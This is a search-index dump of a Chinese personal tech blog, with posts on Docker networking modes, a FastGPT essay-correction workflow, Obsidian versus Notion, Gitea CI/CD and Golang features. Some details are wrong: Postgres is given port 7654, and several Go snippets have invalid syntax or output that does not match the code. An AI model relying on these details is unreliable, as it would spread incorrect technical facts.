去除了宿主机和容器的网络隔离none: 完全将容器和宿主机、以及其他容器隔离ipvlan: 完全控制 ipv4 和 ipv6 协议macvlan: 给容器分配一个 MAC 地址overlay: 连接多个容器和宿主机",{"id":2136,"title":2137,"titles":2138,"content":2139,"level":66},"\u002Fblog\u002Fdocker-network-model#bridge","Bridge",[2128],"网桥 桥接器 - 维基百科，自由的百科全书\n网桥是一种在数据链路层将多个网段连接在一起变成一个子网的设备 对于 Docker 来说则是一样的道理。在同一个 Bridge 网路中的容器之间能够相互通信。 容器在没有经过任何配置的默认情况下，就是 Bridge 模式。\n容器将连接到默认的 bridge 网路。\n而宿主机则与默认的 bridge 连接，宿主机作为网关，转发容器的网络请求，使容器可以进行网络请求。 我们使用的 -p 8080:80 参数则相当于 端口转发。其本质是将外部的请求通过网桥传入容器。",{"id":2141,"title":2142,"titles":2143,"content":2144,"level":78},"\u002Fblog\u002Fdocker-network-model#用户定义的-bridge","用户定义的 Bridge",[2128,2137],"当然除开默认的 bridge，用户还可以自定义网桥设备。\n最主要的作用是可以与默认的网桥隔离开来。 docker network create test-bri 将创建一个网桥。",{"id":2146,"title":2147,"titles":2148,"content":2149,"level":66},"\u002Fblog\u002Fdocker-network-model#host-模式","Host 模式",[2128],"Host 模式的容器和 Docker 宿主机共享同一个网络命名空间（ Networking namespace )，容器并没有自己的 ip docker run --network=host --name=a1 -d -i alpine:latest\ndocker exec -it a1 \u002Fbin\u002Fsh\n\n# in the container:\nip a 你将得到和宿主机一样的输出 这种模式有两个应用场景： 优化性能容器需要处理很多很多端口",{"id":2151,"title":2152,"titles":2153,"content":2154,"level":66},"\u002Fblog\u002Fdocker-network-model#none-模式","None 模式",[2128],"None 模式顾名思义就是没有配置网络：完全隔离自己和其他的容器以及虚拟机。",{"id":2156,"title":2157,"titles":2158,"content":2159,"level":66},"\u002Fblog\u002Fdocker-network-model#ipvlan-和-macvlan","IPvlan 和 MACvlan",[2128],"最主要的功能是把容器的的网络接口和宿主机变成同一等级。 这一功能是 Linux 内核实现的（要求 4.2 版本以上） 之后可能再写一篇博客研究一下内核层面是如何实现的 IPvlan 和 MACvlan 的最主要区别就是设备的 MAC 地址是否相同。 开启 vlan 需要首先将网卡开启混杂模式（也即接受所有的网络信息） ip link set eth0 promisc on",{"id":2161,"title":2162,"titles":2163,"content":2164,"level":78},"\u002Fblog\u002Fdocker-network-model#ipvlan-l2-和-l3","IPVlan L2 和 L3",[2128,2157],"一个物理接口只能选择一个模式（要么 l2，要么 l3） L2，容器的 ip 和 主机在同一个子网内L3，容器的 ip 和主机不在同一子网内，容器之间可以相互通信（即使不是同一子网，只要共享同一个物理接口），主机的子网内的设备无法访问容器",{"id":2166,"title":2167,"titles":2168,"content":2169,"level":78},"\u002Fblog\u002Fdocker-network-model#macvlan","MACvlan",[2128,2157],"docker network create -d macvlan \\\n  --subnet=172.16.86.0\u002F24 \\\n  --gateway=172.16.86.1 \\\n  -o parent=eth0 pub_net 使用上述命令创建一个桥接的 MACVlan，需要指定三个内容： 子网网段子网网关物理接口",{"id":2171,"title":2172,"titles":2173,"content":2174,"level":66},"\u002Fblog\u002Fdocker-network-model#overlay-模式","Overlay 模式",[2128],"在多 Docker 主机的情况下使用（笔者几乎没有这种使用场景）\n实现多主机之间的容器通信。\n具体还是参考官方文档来吧，笔者没有条件和场景使用这种技术 Overlay network driver | Docker Docs",{"id":2176,"title":2177,"titles":2178,"content":2179,"level":66},"\u002Fblog\u002Fdocker-network-model#测试-docker-网络的小技巧","测试 Docker 网络的小技巧",[2128],"可以使用 alpine 镜像进行测试。通过如下语句创建一个运行中的 alpine 镜像 # 创建：\ndocker run --name=a1 -d -i alpine:lates\n# hint: -d 表示在后台运行, -i 表示交互模式运行\n# 删除：\ndocker rm -f a1\n# hint: 使用 -f 就不用管是不是在运行了",{"id":2181,"title":2182,"titles":2183,"content":2184,"level":66},"\u002Fblog\u002Fdocker-network-model#个人的一些想法","个人的一些想法",[2128],"感觉最常用的应该是 ipvlan l2 \u002F macvlan 和 bridge。 如果暴露的端口较少，例如数据库（MySQL 的 3306, Postgres 的 7654），完全可以使用 Bridge 模式 Publish 端口出来用。 如果暴露的端口是少见且特有的端口（例如 Syncthing 的 8384, 22000）则完全可以使用 host 模式 而如果需要暴露更多的端口，或者是有更复杂的服务（例如要跑一个私有的 gitlab，或者是 omv），那么应该使用 vlan 的方式吧。",{"id":2186,"title":2187,"titles":2188,"content":2189,"level":66},"\u002Fblog\u002Fdocker-network-model#参考文献","参考文献",[2128],"docker 的 4 种网络模型 - 知乎Networking overview | Docker Docs桥接器 - 维基百科，自由的百科全书 html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}html pre.shiki code .sV9BF, html code.shiki .sV9BF{--shiki-default:#7C7F93;--shiki-default-font-style:italic;--shiki-dark:#939AB7;--shiki-dark-font-style:italic;--shiki-light:#7C7F93;--shiki-light-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sTfLU, html code.shiki .sTfLU{--shiki-default:#EA76CB;--shiki-dark:#F5BDE6;--shiki-light:#EA76CB}",{"id":2191,"title":2192,"titles":2193,"content":2194,"level":52},"\u002Fblog\u002Ffastgpt-english-article-analyse","FastGPT: 搭建一个英语作文纠错机器人",[],"FastGPT 提供了一种基于 LLM Model 搭建应用的简便方式。\n本文通过搭建一个英语作文纠错机器人，介绍一下如何使用工作流。",{"id":2196,"title":2192,"titles":2197,"content":2194,"level":52},"\u002Fblog\u002Ffastgpt-english-article-analyse#fastgpt-搭建一个英语作文纠错机器人",[],{"id":2199,"title":2200,"titles":2201,"content":44,"level":66},"\u002Fblog\u002Ffastgpt-english-article-analyse#搭建过程","搭建过程",[2192],{"id":2203,"title":2204,"titles":2205,"content":2206,"level":78},"\u002Fblog\u002Ffastgpt-english-article-analyse#_1-创建工作流","1. 创建工作流",[2192,2200],"可以从 多轮翻译机器人 开始创建。 多轮翻译机器人是 @米开朗基杨 同学创建的，同样也是一个值得学习的工作流。",{"id":2208,"title":2209,"titles":2210,"content":2211,"level":78},"\u002Fblog\u002Ffastgpt-english-article-analyse#_2-获取输入使用大模型进行分析","2. 获取输入，使用大模型进行分析",[2192,2200],"我们期望让大模型处理文字，返回一个结构化的数据，由我们自己处理。 提示词 是最重要的一个参数，这里提供的提示词仅供参考： ## 角色\n\n资深英语写作专家\n\n## 任务\n\n对输入的原文进行分析。 找出其中的各种错误， 包括但不限于单词拼写错误、 语法错误等。\n注意： 忽略标点符号前后空格的问题。\n注意： 对于存在错误的句子， 提出修改建议是指指出这个句子中的具体部分， 然后提出将这一个部分修改替换为什么。\n\n## 输出格式\n\n不要使用 Markdown 语法， 输入 JSON 格式的内容。\n输出的\"reason\"的内容使用中文。\n直接输出一个列表， 其成员为一个相同类型的对象， 定义如下\n您正在找回 FastGPT 账号\n\n```\n{\n“raw”: string; \u002F\u002F 表示原文\n“reason”: string; \u002F\u002F 表示原因\n“suggestion”: string; \u002F\u002F 修改建议\n}\n``` 可以在模型选择的窗口中设置禁用 AI 回复。\n这样就看不到输出的 json 格式的内容了。",{"id":2213,"title":2214,"titles":2215,"content":2216,"level":78},"\u002Fblog\u002Ffastgpt-english-article-analyse#_3-数据处理","3. 数据处理",[2192,2200],"上面的大模型输出了一个 json，这里要进行数据处理。数据处理可以使用代码执行组件。 function main({ data }) {\n  const array = JSON.parse(data);\n  return {\n    content: array\n      .map((item, index) => {\n        return `\n## 分析${index + 1}\n- **错误**: ${item.raw}\n- **分析**: ${item.reason}\n- **修改建议**: ${item.suggestion}\n`;\n      })\n      .join(\"\"),\n  };\n} 上面的代码将 JSON 解析为 Object, 然后拼接成一串 Markdown 语法的字符串。 FastGPT 的指定回复组件可以将 Markdown 解析为 Html 返回。",{"id":2218,"title":2219,"titles":2220,"content":2221,"level":66},"\u002Fblog\u002Ffastgpt-english-article-analyse#发布","发布",[2192],"可以使用发布渠道进行发布。 可以选择通过 URL 访问，或者是直接嵌入你的网页中。（下面的就是使用 iframe 嵌入此网页的） 点我使用 html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sBAe2, html code.shiki .sBAe2{--shiki-default:#8839EF;--shiki-dark:#C6A0F6;--shiki-light:#8839EF}html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html pre.shiki code .sXaTj, html code.shiki .sXaTj{--shiki-default:#E64553;--shiki-default-font-style:italic;--shiki-dark:#EE99A0;--shiki-dark-font-style:italic;--shiki-light:#E64553;--shiki-light-font-style:italic}html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .sysvw, html code.shiki .sysvw{--shiki-default:#FE640B;--shiki-dark:#F5A97F;--shiki-light:#FE640B}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}",{"id":2223,"title":2224,"titles":2225,"content":2226,"level":52},"\u002Fblog\u002Ffrom-obsidian-to-notion","从 Obsidian 到 Notion",[],"为什么我放弃了 Obsidian",{"id":2228,"title":2224,"titles":2229,"content":2226,"level":52},"\u002Fblog\u002Ffrom-obsidian-to-notion#从-obsidian-到-notion",[],{"id":2231,"title":2232,"titles":2233,"content":2234,"level":66},"\u002Fblog\u002Ffrom-obsidian-to-notion#_1-markdown-的不充分","1. Markdown 的不充分",[2224],"毫无疑问的是 Markdown 是一个非常好的写作工具。但是它并不足以胜任一个 all-in-one 的工具（包括 TO-DO List, 日记， GTD 等等）。",{"id":2236,"title":2237,"titles":2238,"content":2239,"level":66},"\u002Fblog\u002Ffrom-obsidian-to-notion#_2-难以在没有付费的情况下进行同步","2. 难以在没有付费的情况下进行同步",[2224],"Although I have a server in my house, it is still a question that when my server is offline, how can I sync my notes. But If I use Notion. It is not a question. But there is one question appeared, which I can not access it when I have no Internet connected, although Notion still can work if I cached the notes when it is connected to the Internet.",{"id":2241,"title":2242,"titles":2243,"content":44,"level":66},"\u002Fblog\u002Ffrom-obsidian-to-notion#why-do-i-choose-notion","Why do I choose Notion?",[2224],{"id":2245,"title":2246,"titles":2247,"content":44,"level":78},"\u002Fblog\u002Ffrom-obsidian-to-notion#_1-its-free-and-popular","1. It’s free and popular.",[2224,2242],{"id":2249,"title":2250,"titles":2251,"content":2252,"level":78},"\u002Fblog\u002Ffrom-obsidian-to-notion#_2-its-good-at-integrating-with-google-calendar","2. It’s good at integrating with Google Calendar",[2224,2242],"I am a user of Google and Google Calendar.",{"id":2254,"title":2255,"titles":2256,"content":2257,"level":78},"\u002Fblog\u002Ffrom-obsidian-to-notion#is-there-any-other-options-for-me","Is there any other options for me?",[2224,2242],"The answer is yes. Feishu is also a good option for me to take the place of Obsidian. But it is too heavy for me. On the other hand, as a Chinese App, the internet access is better as the reason we all know. Maybe one day, I take the place of Notion with Feishu but not now.",{"id":2259,"title":2260,"titles":2261,"content":44,"level":52},"\u002Fblog\u002Fgitea-ci-cd","使用 Gitea 搭建私有 Git 服务器和 CI\u002FCD",[],{"id":2263,"title":2260,"titles":2264,"content":2265,"level":52},"\u002Fblog\u002Fgitea-ci-cd#使用-gitea-搭建私有-git-服务器和-cicd",[],"终于可以专注于文章内容了，应该暂时不需要再改代码了。",{"id":2267,"title":2268,"titles":2269,"content":2270,"level":66},"\u002Fblog\u002Fgitea-ci-cd#什么是-cicd为什么要搞一套","什么是 CI\u002FCD，为什么要搞一套",[2260],"现在搞完了发现其实没必要自己部署，Github Actions 可能完全够了。\n但是搞了就是搞了，还能学到一些东西。",{"id":2272,"title":2273,"titles":2274,"content":2275,"level":66},"\u002Fblog\u002Fgitea-ci-cd#选择-gitea-的理由","选择 Gitea 的理由",[2260],"私有化部署的 Git 服务的选择其实不很多。如果对于企业来说，可能 Gitlab\n更好（更重，功能更全）。 而对于我来说。使用更轻量的服务更为明智（毕竟自己的服务器\n性能有限） 而之前使用的 gogs 没有集成 ci\u002Fcd。尝试配置 drone 后发现有一大堆坑。 https:\u002F\u002Fgithub.com\u002Fgogs\u002Fgogs\u002Fissues\u002F7172例如这个。如果 drone 重启后则无法直接通过 oauth 登入。\n这个 issue 这么长时间还没有 ok 也是醉了",{"id":2277,"title":2278,"titles":2279,"content":2280,"level":66},"\u002Fblog\u002Fgitea-ci-cd#安装-gitea","安装 Gitea",[2260],"直接用 Docker compose 安装 gitea. 使用 Dockge 管理 compose\n(Dockge 里面称作 stack，堆栈)\n是更为方便的。（笔者已经使用很长时间了） 这是 Gitea 官方提供的 compose.yaml version: \"3\"\n\nnetworks:\n  gitea:\n    external: false\n\nservices:\n  server:\n    image: gitea\u002Fgitea:@version@\n    container_name: gitea\n    environment:\n      - USER_UID=1000\n      - USER_GID=1000\n    restart: always\n    networks:\n      - gitea\n    volumes:\n      - .\u002Fgitea:\u002Fdata\n      - \u002Fetc\u002Ftimezone:\u002Fetc\u002Ftimezone:ro\n      - \u002Fetc\u002Flocaltime:\u002Fetc\u002Flocaltime:ro\n    ports:\n      - \"3000:3000\"\n      - \"222:22\" 注意修改上面的 version，可以直接去掉（获取 latest） 访问 3000 端口即可进行其他的配置。",{"id":2282,"title":2283,"titles":2284,"content":2285,"level":78},"\u002Fblog\u002Fgitea-ci-cd#配置-act-runner","配置 act-runner",[2260,2278],"如果要使用 action 功能，则必须配置 act-runner 参考 https:\u002F\u002Fdocs.gitea.com\u002Fzh-cn\u002Fusage\u002Factions\u002Fact-runner 进行配置",{"id":2287,"title":2288,"titles":2289,"content":2290,"level":66},"\u002Fblog\u002Fgitea-ci-cd#编写-action","编写 action",[2260],"Gitea 的 action 被设计为与 Github Actions 兼容。但是也存在一些区别，详细请参考\nhttps:\u002F\u002Fdocs.gitea.com\u002Fzh-cn\u002Fusage\u002Factions\u002Fcomparison 在 .gitea\u002Fworkflows\u002FNAME.yaml 里面写即可。 这是本项目编译和部署的 action: name: build # 无所谓\non: [push] # 当 push 的时候执行。\njobs:\n  build:\n    runs-on: ubuntu-latest # 好像大家都用 ubuntu-latest，反正最后会自动清理，无所谓了\n    env: # 暴露环境变量\n      DATABASE_URL: ${{ secrets.DATABASE_URL }} # 这是从 secrets 里面拿，不会在 log 里面显示其内容。\n      JWT_SECRET: ${{ secrets.JWT_SECRET }}\n      UPLOAD_PATH: \"\u002Fvar\u002Fopt\u002Fuploads\u002F\" # 这个其实应该从 var 里面拿，懒，不改了\n    steps:\n      - name: Checkout the code # 就是把代码搞下来\n        uses: actions\u002Fcheckout@v4\n        with:\n          path: src\n      - name: Install pnpm\n        uses: pnpm\u002Faction-setup@v4\n        with:\n          version: 9 # 指定版本\n      - name: Build # 编译脚本\n        run: |\n          cd .\u002Fsrc\u002Fprojects\u002Fapp\n          pnpm i\n          pnpm prisma generate\n          pnpm run build\n      - name: Deploy # 通过 ssh 进行部署（其实是通过 rsync）\n        uses: easingthemes\u002Fssh-deploy@main # 参考\n        with:\n          SSH_PRIVATE_KEY: ${{ secrets.SSH_PRIVATE_KEY }}\n          ARGS: \"-rlgoDzvc -i\"\n          SOURCE: \".\u002Fsrc\u002Fprojects\u002Fapp\u002F.output\"\n          REMOTE_HOST: ${{ secrets.REMOTE_HOST }}\n          REMOTE_USER: ${{ secrets.REMOTE_USER }}\n          TARGET: ${{ secrets.REMOTE_TARGET }}\n          SCRIPT_BEFORE: |\n            echo 'BEFORE RSYNC'\n          SCRIPT_AFTER: |\n            echo 'AFTER RSYNC'\n            sudo systemctl restart homesite.service html pre.shiki code .soSG-, html code.shiki .soSG-{--shiki-default:#1E66F5;--shiki-dark:#8AADF4;--shiki-light:#1E66F5}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}html pre.shiki code .sysvw, html code.shiki .sysvw{--shiki-default:#FE640B;--shiki-dark:#F5A97F;--shiki-light:#FE640B}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sV9BF, html code.shiki .sV9BF{--shiki-default:#7C7F93;--shiki-default-font-style:italic;--shiki-dark:#939AB7;--shiki-dark-font-style:italic;--shiki-light:#7C7F93;--shiki-light-font-style:italic}html pre.shiki code .sBAe2, html code.shiki .sBAe2{--shiki-default:#8839EF;--shiki-dark:#C6A0F6;--shiki-light:#8839EF}",{"id":2292,"title":2293,"titles":2294,"content":44,"level":52},"\u002Fblog\u002Fgolang","为什么 Golang",[],{"id":2296,"title":2293,"titles":2297,"content":44,"level":52},"\u002Fblog\u002Fgolang#为什么-golang",[],{"id":2299,"title":2300,"titles":2301,"content":2302,"level":66},"\u002Fblog\u002Fgolang#序言","序言",[2293],"本文是为了 《编译原理》期末大作业而准备的。\n本文将讨论 Golang 的特点",{"id":2304,"title":2305,"titles":2306,"content":2307,"level":66},"\u002Fblog\u002Fgolang#直观-奇怪而严格的语法","直观 —— 奇怪而严格的语法",[2293],"还记得在高中的时候，接触到 Golang 只觉得这个语言的语法很奇怪\n例如变量声明，要使用 var 标识符声明，变量名竟然在类型名前面 var Variable int 而语法又莫名严格\n例如如下语句是无法编译的： func function(a int) error\n{   \u002F\u002F ERROR!\n    \u002F\u002F ...\n    return nil\n} 因为强制要求大括号不换行 如下语句也是不行的 a := [\n    1,\n    2,\n    3 \u002F\u002F error!\n] 需要改成 a := [\n    1,\n    2,\n    3, \u002F\u002F end comma is nessceary\n] 对于访问控制也是很奇怪，首字母大写就是 Public，小写就是 private",{"id":2309,"title":2310,"titles":2311,"content":2312,"level":66},"\u002Fblog\u002Fgolang#没有-class-拥抱函数范式","没有 Class —— 拥抱函数范式",[2293],"存在一个类似 Class 的 struct type User struct {\n    ID uint64\n    Name string\n} 但是并没有 C++ 中所说的五大函数（析构函数、移动赋值、拷贝赋值、拷贝复制、移动赋值） 所以一般认为 Golang 不是面向对象的。",{"id":2314,"title":2315,"titles":2316,"content":2317,"level":78},"\u002Fblog\u002Fgolang#函数范式","函数范式",[2293,2310],"将电脑运算视为函数运算，避免使用程序状态以及可变物件。 lambda 演算 语法名称描述x变量用字符或字符串来表示参数或者数学上的值或者表示逻辑上的值(λx.M)抽象化一个完整的函数定义（M 是一个 lambda 项），在表达式中的 x 都会绑定为变量 x。(M N)应用将函数 M 作用于参数 N。 M 和 N 是 lambda 项。 函数作为 头等对象，一个函数既可以作为其他函数到输入参数值，也可以从函数中返回。 在其他语言中（例如 Python, C++) 存在 Lambda 表达式这一实现 闭包 的语法。 sum = x1, x2: x1 + x2 auto sum = [](int a, int b){return a + b} 在 Golang 中并不存在 lambda 表达式，而函数作为头等对象，可以作为变量、参数、返回值等等使用 var f func(int) int\n\nfunc main() {\n    f = func(x int) int {\n        return x + x\n    }\n    fmt.Println(f(2)) \u002F\u002F 4\n} 一个将 string 类型转换为 int 类型的实例如下 scanner := bufio.NewScanner(os.Stdin)\nscanner.Scan()\nid_string := scanner.Text()\nvar id int\nid = func(str string) (i int) {\n    i, _ = strconv.Atoi(str)\n    return\n}(id_string)\nfmt.Println(id)",{"id":2319,"title":2320,"titles":2321,"content":2322,"level":66},"\u002Fblog\u002Fgolang#golang-的编译器","Golang 的编译器",[2293],"Golang 是 自举 的。 在计算机科学中，自举是一种自生成编译器的技术——也就是，某个编程语言的编译器（或汇编器）是该语言编写的。 Golang 源代码通过四个步骤编译为可执行文件： 词法、语法分析类型检查和 AST（Abstract Syntax Tree) 转换通用 SSA (Static Single Assignment, 静态单赋值) 的中间代码生成机器代码生成 静态单赋值可以减少重复赋值造成的浪费。 a := 123 \u002F\u002F waste !\na = 234 Golang 使用 LALR（1）语法",{"id":2324,"title":2325,"titles":2326,"content":2327,"level":78},"\u002Fblog\u002Fgolang#交叉编译","交叉编译",[2293,2320],"Golang 可以进行交叉编译 Golang 生成的中间代码是平台无关的，可以生成不同的机器码（arm64, x86_64, WASM) 下面简单介绍一下 WASM\nWebAssembly，是一个在 栈虚拟机 上使用的二进制指令格式。设计目标是在浏览器上提供一种具有高可移植性的目标语言。 WASM 并不是用来代替 JS 的。 以下是一个 Golang 编写的 WASM 例程 \u002F\u002F main.go\npackage main\n\nimport \"syscall\u002Fjs\"\n\nfunc main() {\n    alert := js.Global().Get(\"alert\")\n    alert.Invoke(\"Hello, WebAssembly!\")\n} \u002F\u002F index.html\n\u003Chtml>\n  \u003Cscript src=\"static\u002Fwasm_exec.js\">\u003C\u002Fscript>\n  \u003Cscript>\n    const go = new Go();\n    WebAssembly.instantiateStreaming(\n      fetch(\"static\u002Fmain.wasm\"),\n      go.importObject\n    ).then((result) => go.run(result.instance));\n  \u003C\u002Fscript>\n\u003C\u002Fhtml> 编译选项和依赖库 GOOS=js GOARCH=wasm go build -o static\u002Fmain.wasm\n\ncp \"$(go env GOROOT)\u002Fmisc\u002Fwasm\u002Fwasm_exec.js\" static",{"id":2329,"title":2330,"titles":2331,"content":2332,"level":78},"\u002Fblog\u002Fgolang#增量编译","增量编译",[2293,2320],"由于 Golang 要求每个源文件显式声明所属包、引入包，以及静态检查循环引入的机制\nGolang 的增量编译可以使 Golang 编译得极快。",{"id":2334,"title":2335,"titles":2336,"content":2337,"level":78},"\u002Fblog\u002Fgolang#静态类型-vs-动态类型","静态类型 vs 动态类型",[2293,2320],"对于编程语言又一个 “强弱类型”的模糊概念。\njs，python 是弱类型的， c++, java 是强类型的。 而静态类型和动态类型是指，类型是否可以在执行时判断。因此一般而言，编译型语言多是强类型，而解释型语言多是弱类型。 存在的特例是 TypeScript。\nTypeScript 是强类型的，但是在执行时没有类型（只有 js 的六个类型） 支持反射的语言（例如 Java、Golang）也在执行时提供类型判断。 Golang 存在一个神奇的 Any 类型。\n分析源码可以发现 type Any interface{}",{"id":2339,"title":2340,"titles":2341,"content":2342,"level":66},"\u002Fblog\u002Fgolang#interface","Interface",[2293],"接口定义对象的行为。 package main\n\nimport \"fmt\"\n\ntype Animal interface {\n    Speak() string\n}\n\ntype Dog struct{}\ntype Cat struct{}\n\nfunc (d Dog) Speak() string {\n    return \"Wolf!\"\n}\n\nfunc (c Cat) Speak() string {\n    return \"Mewo!\"\n}\n\nfunc main() {\n    animals := []Animal{Dog{}, Cat{}}\n    for _, val := range animals {\n        fmt.Println(val.Speak())\n    }\n}\n\u002F\u002F output:\n\u002F\u002F Wolf!\n\u002F\u002F Cat! func (c Cat) Purr() {\n    return \"Purr!\"\n}\n\ndog.Purr() \u002F\u002F ERROR\nanimal := Animal(Cat{}) \u002F\u002F which is a animal\nanimal.Purr() \u002F\u002F ERROR",{"id":2344,"title":2345,"titles":2346,"content":2347,"level":78},"\u002Fblog\u002Fgolang#interface-1","interface{}",[2293,2340],"需要注意的是 interface{} 虽然被称为 any，但是实际上它不是 any（或者说，根本上就应该认为 any 是另一个类型） 一切类型都实现了 interface{} 接口，因此所有类型都是 interface{} func fun(a interface{}) {\n    fmt.Println(a)\n} 这个函数接受所有类型的参数，但是当然，其内部的处理也只能局限在 interface{} 使用反射，可以输出这个参数的类型 package main\n\n\u002F\u002F import ...\n\nfunc showType(a interface{}) {\n    fmt.Println(reflect.TypeOf(a))\n}\ntype A struct {\n}\n\nfunc main(){\n    var a A\n    fun(a) \u002F\u002F main.A\n} golang 官方 fmt 库中通过 interface{} 实现的格式化打印十分强大，\n在\"fmt\"库中有如下函数 func Println(a ...any) (n int, err error) {\n    return Fprintln(os.Stdout, a...) \u002F\u002F 调用 Fprintln，将参数写入 Stdout\n}\n\nfunc Fprintln(w io.Writer, a ...any) (n int, err error) {\n    p := newPrinter()\n    p.doPrintln(a)\n    n, err = w.Write(p.buf)\n    p.free()\n    return\n}\n\nfunc (p *pp) doPrintln(a []any) {\n    for argNum, arg := range a {\n        if argNum > 0 {\n            p.buf.writeByte(' ') \u002F\u002F 如果多于一个参数，则在参数之间写入空格\n        }\n        p.printArg(arg, 'v') \u002F\u002F 打印参数，并且有一个 v 的参数\n    }\n    p.buf.writeByte('\\n') \u002F\u002F 最后换行\n}\n\nfunc (p *pp) printArg(arg any, verb rune) {\n    p.arg = arg\n    p.value = reflect.Value{} \u002F\u002F 反射\n\n    if arg == nil { \u002F\u002F 是 nil\n        switch verb {\n        case 'T', 'v':\n            p.fmt.padString(nilAngleString) \u002F\u002F \"\u003Cnil>\"\n        default:\n            p.badVerb(verb) \u002F\u002F verb 不对，报错\n        }\n        return\n    }\n    switch verb {\n    case 'T':\n        p.fmt.fmtS(reflect.TypeOf(arg).String()) \u002F\u002F 使用 reflect 返回字符串\n        return\n    case 'p':\n        p.fmtPointer(reflect.ValueOf(arg), 'p') \u002F\u002F 指针, 使用 reflect\n        return\n    }\n    switch f := arg.(type) {\n        \u002F\u002F ... 对 不同类型的 arg 的处理，不需要反射\n            default:\n        if !p.handleMethods(verb) {\n            \u002F\u002F Need to use reflection, since the type had no\n            \u002F\u002F interface methods that could be used for formatting.\n            p.printValue(reflect.ValueOf(f), verb, 0)\n        }\n    }\n    }\n\n\u002F\u002F in reflect package\ntype Value struct {\n    typ_ *abi.Type \u002F\u002F 类型\n    ptr unsafe.Pointer \u002F\u002F 指针\n    flag \u002F\u002F type flag uintptr，字节操作\n}",{"id":2349,"title":2350,"titles":2351,"content":2352,"level":66},"\u002Fblog\u002Fgolang#高并发-goroutine","高并发 Goroutine",[2293],"Go 支持 语言级 